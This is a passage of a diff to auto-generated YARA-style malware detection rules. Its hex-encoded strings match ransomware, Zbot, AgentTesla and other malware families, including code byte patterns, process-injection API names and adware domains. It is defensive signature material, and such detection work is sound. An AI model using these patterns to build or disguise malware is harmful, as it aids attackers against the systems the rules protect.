33 21 4d 54 42 00 01 00 10 81 01 61 75 74 68 6f 72 6c 79 20 73 6b 61 6b 62 72 74 01 00 27 81 01 6d 65 6e 6f 62 72 61 6e 63 68 69 64 61 65 20 63 75 73 74 6f 6d 68 6f 75 73 65 20 62 72 } //18467 $a_65_1 = {69 6e 64 65 72 01 00 1e 81 01 73 65 6e 64 65 72 6e 65 73 20 6a 65 72 6e 62 61 6e 65 74 72 61 6e 73 70 6f 72 74 65 6e 73 01 00 1b 81 01 64 69 72 65 63 74 65 73 74 20 75 6e 68 6f 75 73 65 6c 65 64 20 67 61 72 76 65 72 01 00 0b 81 01 6a 72 67 65 6e 20 72 61 63 65 74 00 00 78 be 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c } //28271 $a_64_2 = {72 2e 41 46 21 4d 54 42 00 01 00 1d 81 01 3a 5c 57 69 6e 64 6f 77 73 5c 55 70 64 61 74 65 44 65 63 72 79 70 74 65 72 2e 65 78 65 01 00 17 81 01 5c 57 69 6e 64 6f 77 73 5c 72 61 6e 73 6f 6d 62 61 63 6b 2e 70 6e 67 01 00 0e 81 01 44 69 73 61 62 6c 65 54 61 73 6b 4d 67 72 01 00 15 81 01 44 69 73 61 62 6c 65 43 68 61 6e 67 65 50 61 73 } //17253 - $a_72_3 = {01 00 0c 81 01 72 61 6e 73 6f 6d 75 70 64 61 74 65 01 00 11 81 01 5c 44 65 62 75 67 5c 55 70 64 61 74 65 2e 70 64 62 00 00 78 be 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 63 72 79 70 74 2e 50 53 4b 21 4d 54 42 00 02 00 2a 03 8b 54 24 30 8a 5c 24 90 01 01 88 1c 0a 8b 44 24 90 01 01 8b } //30579 + $a_72_3 = {01 00 0c 81 01 72 61 6e 73 6f 6d 75 70 64 61 74 65 01 00 11 81 01 5c 44 65 62 75 67 5c 55 70 64 61 74 65 2e 70 64 62 00 00 78 be 00 00 06 00 06 00 03 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 63 72 79 70 74 2e 50 53 4b 21 4d 54 42 00 02 00 2a 03 8b 54 24 30 8a 5c 24 90 01 01 88 1c 0a 8b 44 24 90 01 01 8b } //30579 $a_01_4 = {01 66 8b 54 24 90 01 01 35 35 5e 00 00 89 4c 24 90 00 03 00 4d 81 01 56 73 65 75 6e 6d 69 65 61 73 6e 6e 79 75 67 61 65 69 6f 75 79 66 61 6e 65 69 6f 77 79 75 68 6e 61 6f 77 75 69 61 73 6e 33 64 69 61 73 75 6d 66 61 6f 67 75 68 77 73 64 79 61 69 6e 66 77 69 75 61 6e 77 64 61 69 75 77 66 61 6e 77 66 01 00 0d 81 01 6e 20 69 66 20 79 6f 75 20 6c 69 6b 65 00 00 78 be 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //9292 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28271+(#a_64_2 & 1)*17253+(#a_72_3 & 1)*30579+(#a_01_4 & 1)*9292) >=5 } -rule _InfrastructureShared_13149{ +rule _InfrastructureShared_14013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 41 46 21 4d 54 42 00 01 00 1d 81 01 3a 5c 57 69 6e 64 6f 77 73 5c 55 70 64 61 74 65 44 65 63 72 79 70 74 65 72 2e 65 78 65 01 00 17 81 01 5c 57 69 6e 64 6f 77 } //16675 - $a_61_1 = {73 6f 6d 62 61 63 6b 2e 70 6e 67 01 00 0e 81 01 44 69 73 61 62 6c 65 54 61 73 6b 4d 67 72 01 00 15 81 01 44 69 73 61 62 6c 65 43 68 61 6e 67 65 50 61 73 73 77 6f 72 64 01 00 0c 81 01 72 61 6e 73 6f 6d 75 70 64 61 74 65 01 00 11 81 01 5c 44 65 62 75 67 5c 55 70 64 61 74 65 2e 70 64 62 00 00 78 be 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 52 } //23667 + $a_61_1 = {73 6f 6d 62 61 63 6b 2e 70 6e 67 01 00 0e 81 01 44 69 73 61 62 6c 65 54 61 73 6b 4d 67 72 01 00 15 81 01 44 69 73 61 62 6c 65 43 68 61 6e 67 65 50 61 73 73 77 6f 72 64 01 00 0c 81 01 72 61 6e 73 6f 6d 75 70 64 61 74 65 01 00 11 81 01 5c 44 65 62 75 67 5c 55 70 64 61 74 65 2e 70 64 62 00 00 78 be 00 00 06 00 06 00 03 00 21 23 53 4c 46 3a 52 } //23667 $a_6f_2 = {3a 57 69 6e 33 32 2f 54 65 73 63 72 79 70 74 2e 50 53 4b 21 4d 54 42 00 02 00 2a 03 8b 54 24 30 8a 5c 24 90 01 01 88 1c 0a 8b 44 24 90 01 01 8b 4c 24 90 01 01 66 8b 54 24 90 01 01 35 35 5e 00 00 89 4c 24 90 00 03 00 4d 81 01 56 73 65 75 6e 6d 69 65 61 73 6e 6e 79 75 67 61 65 69 6f 75 79 66 61 6e 65 69 6f 77 79 75 68 6e 61 6f 77 75 69 61 73 6e } //28257 $a_61_3 = {75 6d 66 61 6f 67 75 68 77 73 64 79 61 69 6e 66 77 69 75 61 6e 77 64 61 69 75 77 66 61 6e 77 66 01 00 0d 81 01 6e 20 69 66 20 79 6f 75 20 6c 69 6b 65 00 00 78 be 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 4c 31 32 33 21 4d 54 42 00 01 00 19 81 01 42 61 6b 65 } //25651 $a_75_4 = {68 65 73 20 49 6e 63 6f 72 70 6f 72 61 74 65 64 01 00 0a 81 01 54 65 72 65 78 20 43 6f 72 70 01 00 1b 81 01 74 6f 72 63 68 77 65 65 64 20 70 68 79 73 69 63 69 61 6e 6c 65 73 73 2e 65 78 65 01 00 0f 81 01 45 61 72 74 } //8306 @@ -147850,19 +157736,19 @@ rule _InfrastructureShared_13149{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*23667+(#a_6f_2 & 1)*28257+(#a_61_3 & 1)*25651+(#a_75_4 & 1)*8306+(#a_6e_5 & 1)*27752) >=5 } -rule _InfrastructureShared_13150{ +rule _InfrastructureShared_14014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 63 72 79 70 74 2e 50 53 4b 21 4d 54 42 00 02 00 2a 03 8b 54 24 30 8a 5c 24 ?? 88 1c 0a 8b 44 24 ?? 8b 4c 24 ?? 66 8b 54 24 ?? 35 35 5e 00 00 89 4c 24 } //16675 + $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 63 72 79 70 74 2e 50 53 4b 21 4d 54 42 00 02 00 2a 03 8b 54 24 30 8a 5c 24 ?? 88 1c 0a 8b 44 24 ?? 8b 4c 24 ?? 66 8b 54 24 ?? 35 35 5e 00 00 89 4c 24 } //21283 $a_81_1 = {56 73 65 75 6e 6d 69 65 61 73 6e 6e 79 75 67 61 65 69 6f 75 79 66 61 6e 65 69 6f 77 79 75 68 6e 61 6f 77 75 69 61 73 6e 33 64 69 61 73 75 6d 66 61 6f 67 75 68 77 73 64 79 61 69 6e 66 77 69 75 61 6e 77 64 61 69 75 77 66 61 6e 77 66 } //3 Vseunmieasnnyugaeiouyfaneiowyuhnaowuiasn3diasumfaoguhwsdyainfwiuanwdaiuwfanwf $a_81_2 = {6e 20 69 66 20 79 6f 75 20 6c 69 6b 65 } //1 n if you like condition: - ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*3+(#a_81_2 & 1)*1) >=6 + ((#a_46_0 & 1)*21283+(#a_81_1 & 1)*3+(#a_81_2 & 1)*1) >=6 } -rule _InfrastructureShared_13151{ +rule _InfrastructureShared_14015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -147877,7 +157763,7 @@ rule _InfrastructureShared_13151{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25975+(#a_54_2 & 1)*18467+(#a_68_3 & 1)*25964+(#a_4b_4 & 1)*27746+(#a_6e_5 & 1)*25970) >=6 } -rule _InfrastructureShared_13152{ +rule _InfrastructureShared_14016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -147892,7 +157778,7 @@ rule _InfrastructureShared_13152{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25964+(#a_4b_2 & 1)*27746+(#a_6e_3 & 1)*25970+(#a_51_4 & 1)*19777+(#a_72_5 & 1)*29808) >=6 } -rule _InfrastructureShared_13153{ +rule _InfrastructureShared_14017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0d 00 21 " @@ -147909,7 +157795,7 @@ rule _InfrastructureShared_13153{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*5+(#a_48_4 & 1)*8448+(#a_01_6 & 1)*4864+(#a_69_7 & 1)*26988+(#a_74_8 & 1)*29779+(#a_52_11 & 1)*21320+(#a_65_12 & 1)*28271) >=6 } -rule _InfrastructureShared_13154{ +rule _InfrastructureShared_14018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147925,7 +157811,7 @@ rule _InfrastructureShared_13154{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*29813+(#a_54_2 & 1)*18467+(#a_01_3 & 1)*13157+(#a_34_4 & 1)*12345+(#a_6e_5 & 1)*22330+(#a_65_6 & 1)*26723) >=7 } -rule _InfrastructureShared_13155{ +rule _InfrastructureShared_14019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147940,7 +157826,7 @@ rule _InfrastructureShared_13155{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*13157+(#a_34_2 & 1)*12345+(#a_6e_3 & 1)*22330+(#a_65_4 & 1)*26723+(#a_01_6 & 1)*4864) >=7 } -rule _InfrastructureShared_13156{ +rule _InfrastructureShared_14020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147956,7 +157842,7 @@ rule _InfrastructureShared_13156{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27493+(#a_4d_2 & 1)*28257+(#a_6e_3 & 1)*30068+(#a_53_4 & 1)*8448+(#a_42_5 & 1)*19745+(#a_69_6 & 1)*25955) >=7 } -rule _InfrastructureShared_13157{ +rule _InfrastructureShared_14021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -147971,7 +157857,7 @@ rule _InfrastructureShared_13157{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_3a_2 & 1)*19539+(#a_6f_3 & 1)*29550+(#a_3a_6 & 1)*19539+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_13158{ +rule _InfrastructureShared_14022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -147988,7 +157874,7 @@ rule _InfrastructureShared_13158{ ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*30047+(#a_32_2 & 1)*28265+(#a_4c_3 & 1)*21317+(#a_69_4 & 1)*26990+(#a_ef_5 & 1)*-5516+(#a_6d_6 & 1)*21505+(#a_53_7 & 1)*8993) >=8 } -rule _InfrastructureShared_13159{ +rule _InfrastructureShared_14023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -148004,7 +157890,7 @@ rule _InfrastructureShared_13159{ ((#a_46_0 & 1)*21283+(#a_5f_1 & 1)*21325+(#a_65_2 & 1)*26988+(#a_6e_4 & 1)*-13055+(#a_01_5 & 1)*-6337+(#a_00_6 & 1)*-13956+(#a_eb_7 & 1)*27649) >=8 } -rule _InfrastructureShared_13160{ +rule _InfrastructureShared_14024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 13 00 21 " @@ -148015,23 +157901,22 @@ rule _InfrastructureShared_13160{ $a_3a_3 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4b 21 4d 54 42 00 0a 00 5d 02 09 11 07 07 11 07 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 00 11 07 17 58 13 07 11 07 08 fe 04 13 08 11 08 2d d7 09 13 04 28 90 01 04 6f 90 01 04 16 9a 13 05 11 05 14 72 90 01 03 70 17 8d 90 01 04 25 16 11 04 a2 14 14 28 90 01 04 13 06 11 06 74 90 } //24938 $a_28_4 = {01 05 2a 90 00 02 } //1025 $a_01_5 = {42 75 6e 69 66 75 2e 55 49 2e 42 75 6e 69 66 75 5f 42 75 74 74 6f 6e 02 00 0e 80 01 42 75 6e 69 66 75 5f 54 65 78 74 42 6f 78 00 00 78 be 00 00 0e 00 0e 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 53 4d 35 21 4d 54 42 00 0a 00 35 02 83 ec 28 c7 45 e0 00 00 00 00 ff 15 90 01 04 89 04 24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 a3 e1 11 } //5888 - $a_01_6 = {04 83 ec 0c 89 45 e0 83 7d e0 00 0f 84 90 00 01 00 24 02 83 7d f0 00 0f 84 90 01 04 8b 45 e8 c6 00 00 8b 45 e8 83 c0 01 89 45 e8 8b 45 f0 83 c0 ff 89 45 f0 e9 90 00 01 00 0e 00 47 65 74 50 72 6f 63 65 73 73 48 65 61 70 01 00 09 00 48 65 61 70 41 6c 6c 6f 63 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 be 00 00 0f 00 0e 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 } //5631 - $a_4d_7 = {42 00 01 00 16 80 01 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 6e 65 74 73 76 63 73 01 00 21 80 } //13362 - $a_53_8 = {45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 01 00 0a 80 01 53 65 72 76 69 63 65 44 6c 6c 01 00 0b 80 01 44 65 73 63 72 69 70 74 69 6f 6e 01 00 08 80 01 4c 69 6e 6b 4e 61 6d 65 0a 00 22 02 8b d8 8b ca 49 85 c9 7c 90 01 01 41 } //21249 - $a_46_9 = {01 01 bf 90 01 04 99 f7 ff 30 13 43 46 49 75 90 00 00 00 78 be 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 48 21 4d 54 42 00 0a 00 51 02 25 16 02 28 90 01 04 9d 6f 90 01 04 0a 00 2b 06 fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 02 7b 90 01 04 11 09 6f 90 01 06 de 05 26 00 00 de 00 00 11 07 17 58 } //-2509 - $a_07_10 = {11 06 8e 69 32 c8 90 00 02 00 0c 80 01 53 79 6e 63 } //1811 - $a_6e_11 = {7a 65 64 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 05 80 01 52 65 67 65 78 00 00 78 be 00 00 33 00 33 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 76 61 6e 74 61 67 65 00 0a 00 15 01 64 6f 77 6e 6c 6f 61 64 73 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 0a 00 18 01 77 } //29288 - $a_6d_12 = {6d 65 64 69 61 2e 63 6f 6d 2f 73 65 63 61 6c 65 72 74 0a 00 09 00 57 68 65 6e 55 2e 63 6f 6d 0a 00 0f 01 61 70 70 2e 6d 65 6d 65 64 69 61 } //25189 - $a_6d_13 = {00 09 01 41 64 56 61 6e 74 61 67 65 01 00 18 01 4d 65 4d 65 64 69 61 53 65 74 75 70 5f 53 68 61 72 65 64 4d 75 74 65 78 01 00 1b 01 57 68 65 6e 55 5f 57 68 65 6e 55 53 61 76 65 5f 53 68 61 72 65 64 4d 75 74 65 78 00 00 78 bf 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 69 67 61 6e 74 69 63 75 73 } //25390 - $a_64_14 = {61 00 01 00 90 03 1f 67 0a 12 00 28 90 01 03 0a a2 25 1f 09 1f 72 0a 12 00 28 90 01 03 0a a2 25 1f } //16686 - $a_0a_15 = {12 00 28 90 01 03 0a a2 25 1f 0b 1f 70 0a 12 00 28 90 01 03 0a a2 25 1f 0c 1f 68 0a 12 00 28 90 01 03 0a a2 25 1f 0d 1f 2e 0a 12 00 28 90 01 03 0a a2 25 1f 0e 1f 6d 0a 12 00 28 90 01 03 0a a2 25 1f 0f 1f 69 0a 12 00 28 90 01 03 0a a2 25 1f 10 1f 63 0a 12 00 28 90 01 03 0a a2 25 1f 11 1f 72 } //7946 - $a_a2_17 = {1f 12 1f 6f 90 00 00 00 78 bf } //769 - $a_00_18 = {01 } //0 + $a_01_6 = {04 83 ec 0c 89 45 e0 83 7d e0 00 0f 84 90 00 01 00 24 02 83 7d f0 00 0f 84 90 01 04 8b 45 e8 c6 00 00 8b 45 e8 83 c0 01 89 45 e8 8b 45 f0 83 c0 ff 89 45 f0 e9 90 00 01 00 0e 00 47 65 74 50 72 6f 63 65 73 73 48 65 61 70 01 00 09 00 48 65 61 70 41 6c 6c 6f 63 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 be 00 00 0e 00 0e 00 07 00 21 23 48 53 54 52 3a 5a 75 73 79 49 6e 6a 65 63 74 2e 48 42 21 4d 54 42 00 02 00 13 } //5631 + $a_65_7 = {64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 02 00 14 01 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 03 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 02 00 17 01 00 57 6f 77 36 34 53 65 74 54 68 72 65 61 64 43 6f 6e 74 } //1 + $a_00_8 = {02 00 16 01 00 4e 74 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 02 00 0e 01 00 52 65 73 75 6d 65 54 68 72 65 61 64 00 01 00 0f 01 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 00 00 00 78 be 00 00 0f 00 0e 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 32 34 21 4d 54 42 00 01 00 16 80 01 73 } //30821 + $a_6f_9 = {74 2e 65 78 65 20 2d 6b 20 6e 65 74 73 76 63 73 01 00 21 80 01 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 01 00 0a 80 01 53 65 72 76 69 63 65 44 6c 6c 01 00 0b 80 01 44 65 73 63 72 69 70 74 69 6f 6e 01 00 08 80 01 4c 69 6e 6b 4e 61 6d 65 0a 00 22 02 8b d8 } //25462 + $a_85_10 = {7c 90 01 01 41 33 f6 8d 46 90 01 01 bf 90 01 04 99 f7 ff 30 13 43 46 49 75 90 00 00 00 78 be 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 48 } //-13685 + $a_42_11 = {0a 00 51 02 25 16 02 28 90 01 04 9d 6f 90 01 04 0a 00 2b 06 fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 02 7b 90 01 04 11 09 6f 90 01 06 de 05 26 00 00 de 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 c8 90 } //19745 + $a_79_13 = {63 68 72 6f 6e 69 7a 65 64 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 05 80 01 52 65 67 65 78 00 00 78 be 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 } //384 + $a_4c_14 = {43 21 4d 54 42 00 0f 00 4f 03 b8 01 00 00 00 6b c8 00 0f be 94 0d b4 fb ff ff 83 fa 2a 0f 85 90 01 04 b8 01 00 00 00 c1 e0 00 0f be 8c 05 } //31076 + $a_ff_15 = {f9 2e 0f 85 90 01 04 b8 01 00 00 00 d1 e0 8d 8c 05 b4 fb ff ff 89 8d 6c fa ff ff 6a 2e 8d 85 ac fa ff ff 50 90 00 0a 00 30 01 55 8b ec 81 ec fc 00 00 00 53 56 57 51 8d bd 04 ff ff ff b9 3f 00 00 00 b8 cc cc cc cc f3 ab 59 89 4d f8 8b 45 14 8b 10 8b f4 8b 4d 14 8b 42 3c 05 00 0b 01 50 63 43 6f 72 74 72 2e 70 64 62 00 00 78 be 00 00 33 00 33 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 76 61 6e 74 61 67 65 00 0a 00 15 01 64 6f 77 6e 6c 6f 61 64 73 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 0a 00 18 01 77 65 62 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 2f 73 65 63 61 6c 65 72 74 0a 00 09 00 57 68 65 6e 55 2e 63 6f 6d 0a 00 0f 01 61 70 70 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 0a 00 09 01 41 64 56 61 6e 74 61 67 65 01 00 18 01 4d 65 4d 65 64 69 61 53 65 74 75 } //-1100 + $a_68_16 = {72 65 64 4d 75 74 65 78 01 00 1b 01 57 68 65 6e 55 5f 57 68 65 6e 55 53 61 76 65 5f 53 68 61 72 65 64 4d 75 74 65 78 00 00 78 bf 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 69 67 61 6e 74 69 63 75 73 2e 41 21 64 } //24432 + $a_1f_18 = {0a 12 00 } //-28672 condition: - ((#a_46_0 & 1)*16675+(#a_a1_1 & 1)*-5847+(#a_6f_2 & 1)*29281+(#a_3a_3 & 1)*24938+(#a_28_4 & 1)*1025+(#a_01_5 & 1)*5888+(#a_01_6 & 1)*5631+(#a_4d_7 & 1)*13362+(#a_53_8 & 1)*21249+(#a_46_9 & 1)*-2509+(#a_07_10 & 1)*1811+(#a_6e_11 & 1)*29288+(#a_6d_12 & 1)*25189+(#a_6d_13 & 1)*25390+(#a_64_14 & 1)*16686+(#a_0a_15 & 1)*7946+(#a_a2_17 & 1)*769+(#a_00_18 & 1)*0) >=10 + ((#a_46_0 & 1)*16675+(#a_a1_1 & 1)*-5847+(#a_6f_2 & 1)*29281+(#a_3a_3 & 1)*24938+(#a_28_4 & 1)*1025+(#a_01_5 & 1)*5888+(#a_01_6 & 1)*5631+(#a_65_7 & 1)*1+(#a_00_8 & 1)*30821+(#a_6f_9 & 1)*25462+(#a_85_10 & 1)*-13685+(#a_42_11 & 1)*19745+(#a_79_13 & 1)*384+(#a_4c_14 & 1)*31076+(#a_ff_15 & 1)*-1100+(#a_68_16 & 1)*24432+(#a_1f_18 & 1)*-28672) >=10 } -rule _InfrastructureShared_13161{ +rule _InfrastructureShared_14025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -148042,13 +157927,13 @@ rule _InfrastructureShared_13161{ $a_3a_3 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4b 21 4d 54 42 00 0a 00 5d 02 09 11 07 07 11 07 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 00 11 07 17 58 13 07 11 07 08 fe 04 13 08 11 08 2d d7 09 13 04 28 90 01 04 6f 90 01 04 16 9a 13 05 11 05 14 72 90 01 03 70 17 8d 90 01 04 25 16 11 04 a2 14 14 28 90 01 04 13 06 11 06 74 90 } //24938 $a_28_4 = {01 05 2a 90 00 02 } //1025 $a_01_5 = {42 75 6e 69 66 75 2e 55 49 2e 42 75 6e 69 66 75 5f 42 75 74 74 6f 6e 02 00 0e 80 01 42 75 6e 69 66 75 5f 54 65 78 74 42 6f 78 00 00 78 be 00 00 0e 00 0e 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 53 4d 35 21 4d 54 42 00 0a 00 35 02 83 ec 28 c7 45 e0 00 00 00 00 ff 15 90 01 04 89 04 24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 a3 e1 11 } //5888 - $a_01_6 = {04 83 ec 0c 89 45 e0 83 7d e0 00 0f 84 90 00 01 00 24 02 83 7d f0 00 0f 84 90 01 04 8b 45 e8 c6 00 00 8b 45 e8 83 c0 01 89 45 e8 8b 45 f0 83 c0 ff 89 45 f0 e9 90 00 01 00 0e 00 47 65 74 50 72 6f 63 65 73 73 48 65 61 70 01 00 09 00 48 65 61 70 41 6c 6c 6f 63 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 be 00 00 0f 00 0e 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 } //5631 - $a_4d_7 = {42 00 01 00 16 80 01 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 6e 65 74 73 76 63 73 01 00 21 80 } //13362 + $a_01_6 = {04 83 ec 0c 89 45 e0 83 7d e0 00 0f 84 90 00 01 00 24 02 83 7d f0 00 0f 84 90 01 04 8b 45 e8 c6 00 00 8b 45 e8 83 c0 01 89 45 e8 8b 45 f0 83 c0 ff 89 45 f0 e9 90 00 01 00 0e 00 47 65 74 50 72 6f 63 65 73 73 48 65 61 70 01 00 09 00 48 65 61 70 41 6c 6c 6f 63 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 be 00 00 0e 00 0e 00 07 00 21 23 48 53 54 52 3a 5a 75 73 79 49 6e 6a 65 63 74 2e 48 42 21 4d 54 42 00 02 00 13 } //5631 + $a_65_7 = {64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 02 00 14 01 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 03 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 02 00 17 01 00 57 6f 77 36 34 53 65 74 54 68 72 65 61 64 43 6f 6e 74 } //1 condition: - ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*3840+(#a_44_2 & 1)*21605+(#a_3a_3 & 1)*24938+(#a_28_4 & 1)*1025+(#a_01_5 & 1)*5888+(#a_01_6 & 1)*5631+(#a_4d_7 & 1)*13362) >=11 + ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*3840+(#a_44_2 & 1)*21605+(#a_3a_3 & 1)*24938+(#a_28_4 & 1)*1025+(#a_01_5 & 1)*5888+(#a_01_6 & 1)*5631+(#a_65_7 & 1)*1) >=11 } -rule _InfrastructureShared_13162{ +rule _InfrastructureShared_14026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -148060,21 +157945,34 @@ rule _InfrastructureShared_13162{ ((#a_54_0 & 1)*18467+(#a_9a_1 & 1)*1025+(#a_13_2 & 1)*400) >=14 } -rule _InfrastructureShared_13163{ +rule _InfrastructureShared_14027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 53 4d 35 21 4d 54 42 00 0a 00 35 02 83 ec 28 c7 45 e0 00 00 00 00 ff 15 90 01 04 89 04 24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 a3 e1 11 ff 15 90 01 04 83 ec 0c 89 45 e0 83 7d e0 00 } //18467 - $a_00_1 = {01 00 24 02 83 7d f0 00 0f 84 90 01 04 8b 45 e8 c6 00 00 8b 45 e8 83 c0 01 89 45 e8 8b 45 f0 83 c0 ff 89 45 f0 e9 90 00 01 00 0e 00 47 65 74 50 72 6f 63 65 73 73 48 65 61 70 01 00 09 00 48 65 61 70 41 6c 6c 6f 63 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 be 00 00 0f 00 0e 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 32 34 21 4d 54 42 00 01 00 16 80 01 73 76 63 } //-31729 - $a_74_2 = {65 78 65 20 2d 6b 20 